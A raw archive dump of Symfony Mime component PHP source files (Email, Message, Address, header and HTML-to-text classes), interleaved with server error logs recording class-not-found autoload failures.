{ return $this->getHeaders()->getHeaderBody('Reply-To') ?: []; } /** * @return $this */ public function addTo(Address|string ...$addresses): static { return $this->addListAddressHeaderBody('To', $addresses); } /** * @return $this */ public function to(Address|string ...$addresses): static { return $this->setListAddressHeaderBody('To', $addresses); } /** * @return Address[] */ public function getTo(): array { return $this->getHeaders()->getHeaderBody('To') ?: []; } /** * @return $this */ public function addCc(Address|string ...$addresses): static { return $this->addListAddressHeaderBody('Cc', $addresses); } /** * @return $this */ public function cc(Address|string ...$addresses): static { return $this->setListAddressHeaderBody('Cc', $addresses); } /** * @return Address[] */ public function getCc(): array { return $this->getHeaders()->getHeaderBody('Cc') ?: []; } /** * @return $this */ public function addBcc(Address|string ...$addresses): static { return $this->addListAddressHeaderBody('Bcc', $addresses); } /** * @return $this */ public function bcc(Address|string ...$addresses): static { return $this->setListAddressHeaderBody('Bcc', $addresses); } /** * @return Address[] */ public function getBcc(): array { return $this->getHeaders()->getHeaderBody('Bcc') ?: []; } /** * Sets the priority of this message. * * The value is an integer where 1 is the highest priority and 5 is the lowest. * * @return $this */ public function priority(int $priority): static { if ($priority > 5) { $priority = 5; } elseif ($priority < 1) { $priority = 1; } return $this->setHeaderBody('Text', 'X-Priority', sprintf('%d (%s)', $priority, self::PRIORITY_MAP[$priority])); } /** * Get the priority of this message. * * The returned value is an integer where 1 is the highest priority and 5 * is the lowest. */ public function getPriority(): int { [$priority] = sscanf($this->getHeaders()->getHeaderBody('X-Priority') ?? '', '%[1-5]'); return $priority ?? 3; } /** * @param resource|string|null $body * * @return $this */ public function text($body, string $charset = 'utf-8'): static { if (null !== $body && !\is_string($body) && !\is_resource($body)) { throw new \TypeError(sprintf('The body must be a string, a resource or null (got "%s").', get_debug_type($body))); } $this->cachedBody = null; $this->text = $body; $this->textCharset = $charset; return $this; } /** * @return resource|string|null */ public function getTextBody() { return $this->text; } public function getTextCharset(): ?string { return $this->textCharset; } /** * @param resource|string|null $body * * @return $this */ public function html($body, string $charset = 'utf-8'): static { if (null !== $body && !\is_string($body) && !\is_resource($body)) { throw new \TypeError(sprintf('The body must be a string, a resource or null (got "%s").', get_debug_type($body))); } $this->cachedBody = null; $this->html = $body; $this->htmlCharset = $charset; return $this; } /** * @return resource|string|null */ public function getHtmlBody() { return $this->html; } public function getHtmlCharset(): ?string { return $this->htmlCharset; } /** * @param resource|string $body * * @return $this */ public function attach($body, string $name = null, string $contentType = null): static { return $this->addPart(new DataPart($body, $name, $contentType)); } /** * @return $this */ public function attachFromPath(string $path, string $name = null, string $contentType = null): static { return $this->addPart(new DataPart(new File($path), $name, $contentType)); } /** * @param resource|string $body * * @return $this */ public function embed($body, string $name = null, string $contentType = null): static { return $this->addPart((new DataPart($body, $name, $contentType))->asInline()); } /** * @return $this */ public function embedFromPath(string $path, string $name = null, string $contentType = null): static { return $this->addPart((new DataPart(new File($path), $name, $contentType))->asInline()); } /** * @return $this * * @deprecated since Symfony 6.2, use addPart() instead */ public function attachPart(DataPart $part): static { @trigger_deprecation('symfony/mime', '6.2', 'The "%s()" method is deprecated, use "addPart()" instead.', __METHOD__); return $this->addPart($part); } /** * @return $this */ public function addPart(DataPart $part): static { $this->cachedBody = null; $this->attachments[] = $part; return $this; } /** * @return DataPart[] */ public function getAttachments(): array { return $this->attachments; } public function getBody(): AbstractPart { if (null !== $body = parent::getBody()) { return $body; } return $this->generateBody(); } /** * @return void */ public function ensureValidity() { $this->ensureBodyValid(); if ('1' === $this->getHeaders()->getHeaderBody('X-Unsent')) { throw new LogicException('Cannot send messages marked as "draft".'); } parent::ensureValidity(); } private function ensureBodyValid(): void { if (null === $this->text && null === $this->html && !$this->attachments) { throw new LogicException('A message must have a text or an HTML part or attachments.'); } } /** * Generates an AbstractPart based on the raw body of a message. * * The most "complex" part generated by this method is when there is text and HTML bodies * with related images for the HTML part and some attachments: * * multipart/mixed * | * |------------> multipart/related * | | * | |------------> multipart/alternative * | | | * | | ------------> text/plain (with content) * | | | * | | ------------> text/html (with content) * | | * | ------------> image/png (with content) * | * ------------> application/pdf (with content) */ private function generateBody(): AbstractPart { if (null !== $this->cachedBody) { return $this->cachedBody; } $this->ensureBodyValid(); [$htmlPart, $otherParts, $relatedParts] = $this->prepareParts(); $part = null === $this->text ? null : new TextPart($this->text, $this->textCharset); if (null !== $htmlPart) { if (null !== $part) { $part = new AlternativePart($part, $htmlPart); } else { $part = $htmlPart; } } if ($relatedParts) { $part = new RelatedPart($part, ...$relatedParts); } if ($otherParts) { if ($part) { $part = new MixedPart($part, ...$otherParts); } else { $part = new MixedPart(...$otherParts); } } return $this->cachedBody = $part; } private function prepareParts(): ?array { $names = []; $htmlPart = null; $html = $this->html; if (null !== $html) { $htmlPart = new TextPart($html, $this->htmlCharset, 'html'); $html = $htmlPart->getBody(); $regexes = [ ']*src\s*=\s*(?:([\'"])cid:(.+?)\\1|cid:([^>\s]+))', '<\w+\s+[^>]*background\s*=\s*(?:([\'"])cid:(.+?)\\1|cid:([^>\s]+))', ]; $tmpMatches = []; foreach ($regexes as $regex) { preg_match_all('/'.$regex.'/i', $html, $tmpMatches); $names = array_merge($names, $tmpMatches[2], $tmpMatches[3]); } $names = array_filter(array_unique($names)); } $otherParts = $relatedParts = []; foreach ($this->attachments as $part) { foreach ($names as $name) { if ($name !== $part->getName() && (!$part->hasContentId() || $name !== $part->getContentId())) { continue; } if (isset($relatedParts[$name])) { continue 2; } if ($name !== $part->getContentId()) { $html = str_replace('cid:'.$name, 'cid:'.$part->getContentId(), $html, $count); } $relatedParts[$name] = $part; $part->setName($part->getContentId())->asInline(); continue 2; } $otherParts[] = $part; } if (null !== $htmlPart) { $htmlPart = new TextPart($html, $this->htmlCharset, 'html'); } return [$htmlPart, $otherParts, array_values($relatedParts)]; } /** * @return $this */ private function setHeaderBody(string $type, string $name, $body): static { $this->getHeaders()->setHeaderBody($type, $name, $body); return $this; } /** * @return $this */ private function addListAddressHeaderBody(string $name, array $addresses): static { if (!$header = $this->getHeaders()->get($name)) { return $this->setListAddressHeaderBody($name, $addresses); } $header->addAddresses(Address::createArray($addresses)); return $this; } /** * @return $this */ private function setListAddressHeaderBody(string $name, array $addresses): static { $addresses = Address::createArray($addresses); $headers = $this->getHeaders(); if ($header = $headers->get($name)) { $header->setAddresses($addresses); } else { $headers->addMailboxListHeader($name, $addresses); } return $this; } /** * @internal */ public function __serialize(): array { if (\is_resource($this->text)) { $this->text = (new TextPart($this->text))->getBody(); } if (\is_resource($this->html)) { $this->html = (new TextPart($this->html))->getBody(); } return [$this->text, $this->textCharset, $this->html, $this->htmlCharset, $this->attachments, parent::__serialize()]; } /** * @internal */ public function __unserialize(array $data): void { [$this->text, $this->textCharset, $this->html, $this->htmlCharset, $this->attachments, $parentData] = $data; parent::__unserialize($parentData); } } mime/FileinfoMimeTypeGuesser.php000064400000003431151113512100012736 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mime; use Symfony\Component\Mime\Exception\InvalidArgumentException; use Symfony\Component\Mime\Exception\LogicException; /** * Guesses the MIME type using the PECL extension FileInfo. * * @author Bernhard Schussek */ class FileinfoMimeTypeGuesser implements MimeTypeGuesserInterface { private ?string $magicFile; /** * @param string|null $magicFile A magic file to use with the finfo instance * * @see http://www.php.net/manual/en/function.finfo-open.php */ public function __construct(string $magicFile = null) { $this->magicFile = $magicFile; } public function isGuesserSupported(): bool { return \function_exists('finfo_open'); } public function guessMimeType(string $path): ?string { if (!is_file($path) || !is_readable($path)) { throw new InvalidArgumentException(sprintf('The "%s" file does not exist or is not readable.', $path)); } if (!$this->isGuesserSupported()) { throw new LogicException(sprintf('The "%s" guesser is not supported.', __CLASS__)); } if (false === $finfo = new \finfo(\FILEINFO_MIME_TYPE, $this->magicFile)) { return null; } $mimeType = $finfo->file($path); if ($mimeType && 0 === (\strlen($mimeType) % 2)) { $mimeStart = substr($mimeType, 0, \strlen($mimeType) >> 1); $mimeType = $mimeStart.$mimeStart === $mimeType ? $mimeStart : $mimeType; } return $mimeType; } } mime/Message.php000064400000010611151113512100007555 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mime; use Symfony\Component\Mime\Exception\LogicException; use Symfony\Component\Mime\Header\Headers; use Symfony\Component\Mime\Part\AbstractPart; use Symfony\Component\Mime\Part\TextPart; /** * @author Fabien Potencier */ class Message extends RawMessage { private Headers $headers; private ?AbstractPart $body; public function __construct(Headers $headers = null, AbstractPart $body = null) { $this->headers = $headers ? clone $headers : new Headers(); $this->body = $body; } public function __clone() { $this->headers = clone $this->headers; if (null !== $this->body) { $this->body = clone $this->body; } } /** * @return $this */ public function setBody(AbstractPart $body = null): static { if (1 > \func_num_args()) { trigger_deprecation('symfony/mime', '6.2', 'Calling "%s()" without any arguments is deprecated, pass null explicitly instead.', __METHOD__); } $this->body = $body; return $this; } public function getBody(): ?AbstractPart { return $this->body; } /** * @return $this */ public function setHeaders(Headers $headers): static { $this->headers = $headers; return $this; } public function getHeaders(): Headers { return $this->headers; } public function getPreparedHeaders(): Headers { $headers = clone $this->headers; if (!$headers->has('From')) { if (!$headers->has('Sender')) { throw new LogicException('An email must have a "From" or a "Sender" header.'); } $headers->addMailboxListHeader('From', [$headers->get('Sender')->getAddress()]); } if (!$headers->has('MIME-Version')) { $headers->addTextHeader('MIME-Version', '1.0'); } if (!$headers->has('Date')) { $headers->addDateHeader('Date', new \DateTimeImmutable()); } // determine the "real" sender if (!$headers->has('Sender') && \count($froms = $headers->get('From')->getAddresses()) > 1) { $headers->addMailboxHeader('Sender', $froms[0]); } if (!$headers->has('Message-ID')) { $headers->addIdHeader('Message-ID', $this->generateMessageId()); } // remove the Bcc field which should NOT be part of the sent message $headers->remove('Bcc'); return $headers; } public function toString(): string { if (null === $body = $this->getBody()) { $body = new TextPart(''); } return $this->getPreparedHeaders()->toString().$body->toString(); } public function toIterable(): iterable { if (null === $body = $this->getBody()) { $body = new TextPart(''); } yield $this->getPreparedHeaders()->toString(); yield from $body->toIterable(); } /** * @return void */ public function ensureValidity() { if (!$this->headers->has('To') && !$this->headers->has('Cc') && !$this->headers->has('Bcc')) { throw new LogicException('An email must have a "To", "Cc", or "Bcc" header.'); } if (!$this->headers->has('From') && !$this->headers->has('Sender')) { throw new LogicException('An email must have a "From" or a "Sender" header.'); } parent::ensureValidity(); } public function generateMessageId(): string { if ($this->headers->has('Sender')) { $sender = $this->headers->get('Sender')->getAddress(); } elseif ($this->headers->has('From')) { $sender = $this->headers->get('From')->getAddresses()[0]; } else { throw new LogicException('An email must have a "From" or a "Sender" header.'); } return bin2hex(random_bytes(16)).strstr($sender->getAddress(), '@'); } public function __serialize(): array { return [$this->headers, $this->body]; } public function __unserialize(array $data): void { [$this->headers, $this->body] = $data; } } mime/HtmlToTextConverter/LeagueHtmlToMarkdownConverter.php000064400000001576151113512100020074 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mime\HtmlToTextConverter; use League\HTMLToMarkdown\HtmlConverter; use League\HTMLToMarkdown\HtmlConverterInterface; /** * @author Fabien Potencier */ class LeagueHtmlToMarkdownConverter implements HtmlToTextConverterInterface { public function __construct( private HtmlConverterInterface $converter = new HtmlConverter([ 'hard_break' => true, 'strip_tags' => true, 'remove_nodes' => 'head style', ]), ) { } public function convert(string $html, string $charset): string { return $this->converter->convert($html); } } mime/HtmlToTextConverter/HtmlToTextConverterInterface.php000064400000001157151113512100017727 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mime\HtmlToTextConverter; /** * @author Fabien Potencier */ interface HtmlToTextConverterInterface { /** * Converts an HTML representation of a Message to a text representation. * * The output must use the same charset as the HTML one. */ public function convert(string $html, string $charset): string; } mime/HtmlToTextConverter/error_log000064400000003236151113512100013346 0ustar00[19-Nov-2025 09:58:33 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Mime\HtmlToTextConverter\HtmlToTextConverterInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/HtmlToTextConverter/LeagueHtmlToMarkdownConverter.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/HtmlToTextConverter/LeagueHtmlToMarkdownConverter.php on line 20 [19-Nov-2025 16:35:15 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Mime\HtmlToTextConverter\HtmlToTextConverterInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/HtmlToTextConverter/LeagueHtmlToMarkdownConverter.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/HtmlToTextConverter/LeagueHtmlToMarkdownConverter.php on line 20 [26-Nov-2025 00:38:40 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Mime\HtmlToTextConverter\HtmlToTextConverterInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/HtmlToTextConverter/DefaultHtmlToTextConverter.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/HtmlToTextConverter/DefaultHtmlToTextConverter.php on line 17 [26-Nov-2025 03:35:18 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Mime\HtmlToTextConverter\HtmlToTextConverterInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/HtmlToTextConverter/LeagueHtmlToMarkdownConverter.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/HtmlToTextConverter/LeagueHtmlToMarkdownConverter.php on line 20 mime/HtmlToTextConverter/DefaultHtmlToTextConverter.php000064400000001115151113512100017405 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mime\HtmlToTextConverter; /** * @author Fabien Potencier */ class DefaultHtmlToTextConverter implements HtmlToTextConverterInterface { public function convert(string $html, string $charset): string { return strip_tags(preg_replace('{<(head|style)\b.*?}is', '', $html)); } } mime/RawMessage.php000064400000003011151113512100010223 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mime; use Symfony\Component\Mime\Exception\LogicException; /** * @author Fabien Potencier */ class RawMessage { private $message; public function __construct(iterable|string $message) { $this->message = $message; } public function toString(): string { if (\is_string($this->message)) { return $this->message; } if ($this->message instanceof \Traversable) { $this->message = iterator_to_array($this->message, false); } return $this->message = implode('', $this->message); } public function toIterable(): iterable { if (\is_string($this->message)) { yield $this->message; return; } $message = ''; foreach ($this->message as $chunk) { $message .= $chunk; yield $chunk; } $this->message = $message; } /** * @return void * * @throws LogicException if the message is not valid */ public function ensureValidity() { } public function __serialize(): array { return [$this->toString()]; } public function __unserialize(array $data): void { [$this->message] = $data; } } mime/Address.php000064400000007205151113512100007563 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mime; use Egulias\EmailValidator\EmailValidator; use Egulias\EmailValidator\Validation\MessageIDValidation; use Egulias\EmailValidator\Validation\RFCValidation; use Symfony\Component\Mime\Encoder\IdnAddressEncoder; use Symfony\Component\Mime\Exception\InvalidArgumentException; use Symfony\Component\Mime\Exception\LogicException; use Symfony\Component\Mime\Exception\RfcComplianceException; /** * @author Fabien Potencier */ final class Address { /** * A regex that matches a structure like 'Name '. * It matches anything between the first < and last > as email address. * This allows to use a single string to construct an Address, which can be convenient to use in * config, and allows to have more readable config. * This does not try to cover all edge cases for address. */ private const FROM_STRING_PATTERN = '~(?[^<]*)<(?.*)>[^>]*~'; private static EmailValidator $validator; private static IdnAddressEncoder $encoder; private string $address; private string $name; public function __construct(string $address, string $name = '') { if (!class_exists(EmailValidator::class)) { throw new LogicException(sprintf('The "%s" class cannot be used as it needs "%s". Try running "composer require egulias/email-validator".', __CLASS__, EmailValidator::class)); } self::$validator ??= new EmailValidator(); $this->address = trim($address); $this->name = trim(str_replace(["\n", "\r"], '', $name)); if (!self::$validator->isValid($this->address, class_exists(MessageIDValidation::class) ? new MessageIDValidation() : new RFCValidation())) { throw new RfcComplianceException(sprintf('Email "%s" does not comply with addr-spec of RFC 2822.', $address)); } } public function getAddress(): string { return $this->address; } public function getName(): string { return $this->name; } public function getEncodedAddress(): string { self::$encoder ??= new IdnAddressEncoder(); return self::$encoder->encodeString($this->address); } public function toString(): string { return ($n = $this->getEncodedName()) ? $n.' <'.$this->getEncodedAddress().'>' : $this->getEncodedAddress(); } public function getEncodedName(): string { if ('' === $this->getName()) { return ''; } return sprintf('"%s"', preg_replace('/"/u', '\"', $this->getName())); } public static function create(self|string $address): self { if ($address instanceof self) { return $address; } if (!str_contains($address, '<')) { return new self($address); } if (!preg_match(self::FROM_STRING_PATTERN, $address, $matches)) { throw new InvalidArgumentException(sprintf('Could not parse "%s" to a "%s" instance.', $address, self::class)); } return new self($matches['addrSpec'], trim($matches['displayName'], ' \'"')); } /** * @param array $addresses * * @return Address[] */ public static function createArray(array $addresses): array { $addrs = []; foreach ($addresses as $address) { $addrs[] = self::create($address); } return $addrs; } } mime/error_log000064400000020271151113512100007400 0ustar00[18-Nov-2025 05:08:53 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Mime\MimeTypesInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/MimeTypes.php:37 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/MimeTypes.php on line 37 [18-Nov-2025 12:57:59 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Mime\MimeTypeGuesserInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/FileinfoMimeTypeGuesser.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/FileinfoMimeTypeGuesser.php on line 22 [18-Nov-2025 17:55:35 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Mime\MimeTypeGuesserInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/MimeTypesInterface.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/MimeTypesInterface.php on line 17 [18-Nov-2025 22:00:16 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Mime\MimeTypeGuesserInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/FileinfoMimeTypeGuesser.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/FileinfoMimeTypeGuesser.php on line 22 [19-Nov-2025 02:00:14 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Mime\MimeTypeGuesserInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/MimeTypesInterface.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/MimeTypesInterface.php on line 17 [19-Nov-2025 02:34:11 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Mime\MimeTypeGuesserInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/FileBinaryMimeTypeGuesser.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/FileBinaryMimeTypeGuesser.php on line 22 [19-Nov-2025 18:49:04 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Message" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Email.php:26 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Email.php on line 26 [19-Nov-2025 20:50:08 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\RawMessage" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Message.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Message.php on line 22 [19-Nov-2025 21:02:18 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Email" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/DraftEmail.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/DraftEmail.php on line 20 [20-Nov-2025 01:15:05 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Message" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Email.php:26 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Email.php on line 26 [20-Nov-2025 02:20:57 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\RawMessage" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Message.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Message.php on line 22 [20-Nov-2025 02:38:29 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Email" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/DraftEmail.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/DraftEmail.php on line 20 [24-Nov-2025 10:08:02 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Mime\MimeTypeGuesserInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/FileBinaryMimeTypeGuesser.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/FileBinaryMimeTypeGuesser.php on line 22 [24-Nov-2025 10:08:26 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\RawMessage" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Message.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Message.php on line 22 [24-Nov-2025 11:53:55 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Mime\MimeTypeGuesserInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/FileinfoMimeTypeGuesser.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/FileinfoMimeTypeGuesser.php on line 22 [24-Nov-2025 11:55:08 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Email" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/DraftEmail.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/DraftEmail.php on line 20 [24-Nov-2025 11:55:16 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Mime\MimeTypesInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/MimeTypes.php:37 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/MimeTypes.php on line 37 [24-Nov-2025 11:56:30 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Mime\MimeTypeGuesserInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/MimeTypesInterface.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/MimeTypesInterface.php on line 17 [25-Nov-2025 08:53:23 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\RawMessage" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Message.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Message.php on line 22 [25-Nov-2025 08:53:35 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Mime\MimeTypeGuesserInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/MimeTypesInterface.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/MimeTypesInterface.php on line 17 [25-Nov-2025 10:46:51 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Mime\MimeTypeGuesserInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/FileinfoMimeTypeGuesser.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/FileinfoMimeTypeGuesser.php on line 22 [25-Nov-2025 10:46:55 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Mime\MimeTypeGuesserInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/FileinfoMimeTypeGuesser.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/FileinfoMimeTypeGuesser.php on line 22 [25-Nov-2025 10:49:57 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Message" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Email.php:26 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Email.php on line 26 [25-Nov-2025 10:50:07 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Mime\MimeTypesInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/MimeTypes.php:37 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/MimeTypes.php on line 37 [25-Nov-2025 10:53:59 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Email" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/DraftEmail.php:20 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/DraftEmail.php on line 20 [25-Nov-2025 10:54:00 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Mime\MimeTypeGuesserInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/FileBinaryMimeTypeGuesser.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/FileBinaryMimeTypeGuesser.php on line 22 mime/Header/DateHeader.php000064400000003005151113512110011347 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mime\Header; /** * A Date MIME Header. * * @author Chris Corbyn */ final class DateHeader extends AbstractHeader { private \DateTimeImmutable $dateTime; public function __construct(string $name, \DateTimeInterface $date) { parent::__construct($name); $this->setDateTime($date); } /** * @param \DateTimeInterface $body */ public function setBody(mixed $body): void { $this->setDateTime($body); } public function getBody(): \DateTimeImmutable { return $this->getDateTime(); } public function getDateTime(): \DateTimeImmutable { return $this->dateTime; } /** * Set the date-time of the Date in this Header. * * If a DateTime instance is provided, it is converted to DateTimeImmutable. */ public function setDateTime(\DateTimeInterface $dateTime): void { if ($dateTime instanceof \DateTime) { $immutable = new \DateTimeImmutable('@'.$dateTime->getTimestamp()); $dateTime = $immutable->setTimezone($dateTime->getTimezone()); } $this->dateTime = $dateTime; } public function getBodyAsString(): string { return $this->dateTime->format(\DateTime::RFC2822); } } mime/Header/Headers.php000064400000021563151113512110010745 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mime\Header; use Symfony\Component\Mime\Address; use Symfony\Component\Mime\Exception\LogicException; /** * A collection of headers. * * @author Fabien Potencier */ final class Headers { private const UNIQUE_HEADERS = [ 'date', 'from', 'sender', 'reply-to', 'to', 'cc', 'bcc', 'message-id', 'in-reply-to', 'references', 'subject', ]; private const HEADER_CLASS_MAP = [ 'date' => DateHeader::class, 'from' => MailboxListHeader::class, 'sender' => MailboxHeader::class, 'reply-to' => MailboxListHeader::class, 'to' => MailboxListHeader::class, 'cc' => MailboxListHeader::class, 'bcc' => MailboxListHeader::class, 'message-id' => IdentificationHeader::class, 'in-reply-to' => [UnstructuredHeader::class, IdentificationHeader::class], // `In-Reply-To` and `References` are less strict than RFC 2822 (3.6.4) to allow users entering the original email's ... 'references' => [UnstructuredHeader::class, IdentificationHeader::class], // ... `Message-ID`, even if that is no valid `msg-id` 'return-path' => PathHeader::class, ]; /** * @var HeaderInterface[][] */ private array $headers = []; private int $lineLength = 76; public function __construct(HeaderInterface ...$headers) { foreach ($headers as $header) { $this->add($header); } } public function __clone() { foreach ($this->headers as $name => $collection) { foreach ($collection as $i => $header) { $this->headers[$name][$i] = clone $header; } } } public function setMaxLineLength(int $lineLength): void { $this->lineLength = $lineLength; foreach ($this->all() as $header) { $header->setMaxLineLength($lineLength); } } public function getMaxLineLength(): int { return $this->lineLength; } /** * @param array $addresses * * @return $this */ public function addMailboxListHeader(string $name, array $addresses): static { return $this->add(new MailboxListHeader($name, Address::createArray($addresses))); } /** * @return $this */ public function addMailboxHeader(string $name, Address|string $address): static { return $this->add(new MailboxHeader($name, Address::create($address))); } /** * @return $this */ public function addIdHeader(string $name, string|array $ids): static { return $this->add(new IdentificationHeader($name, $ids)); } /** * @return $this */ public function addPathHeader(string $name, Address|string $path): static { return $this->add(new PathHeader($name, $path instanceof Address ? $path : new Address($path))); } /** * @return $this */ public function addDateHeader(string $name, \DateTimeInterface $dateTime): static { return $this->add(new DateHeader($name, $dateTime)); } /** * @return $this */ public function addTextHeader(string $name, string $value): static { return $this->add(new UnstructuredHeader($name, $value)); } /** * @return $this */ public function addParameterizedHeader(string $name, string $value, array $params = []): static { return $this->add(new ParameterizedHeader($name, $value, $params)); } /** * @return $this */ public function addHeader(string $name, mixed $argument, array $more = []): static { $headerClass = self::HEADER_CLASS_MAP[strtolower($name)] ?? UnstructuredHeader::class; if (\is_array($headerClass)) { $headerClass = $headerClass[0]; } $parts = explode('\\', $headerClass); $method = 'add'.ucfirst(array_pop($parts)); if ('addUnstructuredHeader' === $method) { $method = 'addTextHeader'; } elseif ('addIdentificationHeader' === $method) { $method = 'addIdHeader'; } return $this->$method($name, $argument, $more); } public function has(string $name): bool { return isset($this->headers[strtolower($name)]); } /** * @return $this */ public function add(HeaderInterface $header): static { self::checkHeaderClass($header); $header->setMaxLineLength($this->lineLength); $name = strtolower($header->getName()); if 